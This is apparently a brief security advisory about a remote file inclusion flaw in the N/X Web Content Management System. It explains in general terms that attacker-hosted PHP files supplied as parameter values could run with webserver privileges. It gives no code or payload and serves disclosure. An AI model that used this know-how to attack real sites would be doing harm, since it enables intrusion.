N/X Web Content Management System is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers.
An attacker may exploit this by supplying a path to a maliciously created file, located on an attacker-controlled host as a value for some parameters.
If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. Successful exploitation may provide local access to the attacker.
